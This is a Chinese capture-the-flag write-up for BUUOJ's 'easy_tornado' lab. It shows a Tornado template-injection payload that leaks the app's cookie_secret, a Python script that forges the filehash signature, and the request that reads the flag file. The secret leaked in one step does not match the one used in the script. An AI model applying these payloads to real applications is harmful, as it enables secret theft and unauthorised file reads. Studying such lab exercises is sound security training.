buuoj–easy_tornado
打开页面提示三个链接
/flag.txt
/welcome.txt
/hints.txt
查看flag.txt
/flag.txt
flag in /fllllllllllllag
查看welcome.txt
/welcome.txt
render
查看hints.txt
/hints.txt
md5(cookie_secret+md5(filename))
render、tornado都是模板,提示模板注入
这是查看flag.txt的链接
18005c28-1a3a-4ef8-9712-674709a3a6ad.node3.buuoj.cn/file?filename=/flag.txt&filehash=9255e92c383a4dc733893c28493c8b22
将/flag.txt修改为/fllllllllllllag报错:
出现msg=Error
如果修改为123
模板注入(https://www.jianshu.com/p/55c75e0f7928)
在tornado模板中,存在一些可以访问的快速对象,例如
<title>
{{ escape(handler.settings["cookie"]) }}
</title>
这两个{{}}和这个字典对象也许大家就看出来了,没错就是这个handler.settings对象,又黑翼天使23的博客园日志可知,
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
大概就是说,这里面就是我们一下环境变量,我们正是从这里获取的cookie_secret
msg={{handler.settings}} 得到cookie_secret
‘cookie_secret’: ‘4dff6cea-5745-4572-bf7f-371994e24436’
按照hint的提示即可
脚本(https://www.cnblogs.com/mke2fs/p/11573786.html):
#!-*-coding:utf-8 -*-
import hashlib
def md5(s):
md5 = hashlib.md5()
md5.update(s)
return md5.hexdigest()
def filehash():
filename = '/fllllllllllllag'
cookie_secret = '01d3ae36-9d9e-44f4-b25e-405eda25b369'
print(md5(cookie_secret + md5(filename)))
if __name__ == '__main__':
filehash()
结果filehash:166f8acca84fe2652fb4f3ba912fa6b1
payload:
18005c28-1a3a-4ef8-9712-674709a3a6ad.node3.buuoj.cn/file?filename=/fllllllllllllag&filehash=166f8acca84fe2652fb4f3ba912fa6b1
回显flag